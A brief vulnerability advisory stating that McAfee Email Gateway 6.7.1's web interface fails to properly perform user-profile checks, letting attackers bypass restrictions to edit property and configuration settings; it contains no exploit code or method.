McAfee Email Gateway is prone to a security-bypass vulnerability because the web-based interface fails to properly perform user-profile checks.

Attackers can exploit this issue to bypass certain security restrictions to edit property and configuration settings.

McAfee Email Gateway 6.7.1 is vulnerable; other versions may also be affected.
